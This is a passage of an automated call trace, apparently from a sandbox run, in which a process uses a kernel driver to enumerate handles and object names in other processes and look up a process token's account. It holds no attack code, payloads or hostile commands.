ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.046] PsAcquireProcessExitSynchronization () returned 0x0 [0113.046] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.046] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0113.046] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.046] PsReleaseProcessExitSynchronization () returned 0x2 [0113.046] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.046] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.046] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0113.046] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.047] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.047] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.047] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.047] PsAcquireProcessExitSynchronization () returned 0x0 [0113.047] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.047] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0113.047] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.047] PsReleaseProcessExitSynchronization () returned 0x2 [0113.047] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.047] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.047] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0113.047] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.047] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.047] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0113.047] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.047] PsAcquireProcessExitSynchronization () returned 0x0 [0113.047] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.047] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0113.047] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.047] PsReleaseProcessExitSynchronization () returned 0x2 [0113.047] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.047] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.047] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0113.047] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.047] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.047] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0113.047] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.047] PsAcquireProcessExitSynchronization () returned 0x0 [0113.047] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.048] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0113.048] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.048] PsReleaseProcessExitSynchronization () returned 0x2 [0113.048] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.048] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.048] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0113.048] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.048] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.048] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.048] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.048] PsAcquireProcessExitSynchronization () returned 0x0 [0113.048] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.048] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0113.048] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.048] PsReleaseProcessExitSynchronization () returned 0x2 [0113.048] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.048] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.048] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0113.048] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.048] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.048] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.048] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.048] PsAcquireProcessExitSynchronization () returned 0x0 [0113.048] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.048] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0113.048] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.048] PsReleaseProcessExitSynchronization () returned 0x2 [0113.048] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.048] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.048] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0113.048] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.048] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.048] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.049] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.049] PsAcquireProcessExitSynchronization () returned 0x0 [0113.049] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.049] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0113.049] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.049] PsReleaseProcessExitSynchronization () returned 0x2 [0113.049] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.049] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.049] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0113.049] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.049] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.049] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.049] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.049] PsAcquireProcessExitSynchronization () returned 0x0 [0113.049] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.049] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0113.049] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.049] PsReleaseProcessExitSynchronization () returned 0x2 [0113.049] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.049] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.049] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0113.049] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.049] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.049] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.049] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.049] PsAcquireProcessExitSynchronization () returned 0x0 [0113.049] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.049] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0113.049] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.050] PsReleaseProcessExitSynchronization () returned 0x2 [0113.050] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.050] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.050] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0113.050] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.050] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.050] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.050] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.050] PsAcquireProcessExitSynchronization () returned 0x0 [0113.050] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.050] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.050] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.050] PsReleaseProcessExitSynchronization () returned 0x2 [0113.050] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.050] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.050] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.050] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.050] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.050] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.050] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.050] PsAcquireProcessExitSynchronization () returned 0x0 [0113.050] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.050] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.050] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.050] PsReleaseProcessExitSynchronization () returned 0x2 [0113.050] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.050] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.050] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.050] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.050] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.050] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0113.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.051] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0113.051] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.051] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x102 [0113.051] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.051] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.051] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.051] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.051] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.150] CloseHandle (hObject=0xc8) returned 1 [0113.150] CloseHandle (hObject=0xc0) returned 1 [0113.150] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.150] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.150] PsAcquireProcessExitSynchronization () returned 0x0 [0113.150] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.150] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0113.150] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.150] PsReleaseProcessExitSynchronization () returned 0x2 [0113.150] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.150] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.150] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0113.150] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.151] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.151] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.151] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.151] PsAcquireProcessExitSynchronization () returned 0x0 [0113.151] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.151] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0113.151] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.151] PsReleaseProcessExitSynchronization () returned 0x2 [0113.151] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.151] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.151] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0113.151] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.151] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.151] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.151] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.151] PsAcquireProcessExitSynchronization () returned 0x0 [0113.151] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.151] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0113.151] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.151] PsReleaseProcessExitSynchronization () returned 0x2 [0113.151] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.151] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.151] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0113.151] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.151] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.151] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.151] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.151] PsAcquireProcessExitSynchronization () returned 0x0 [0113.151] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: 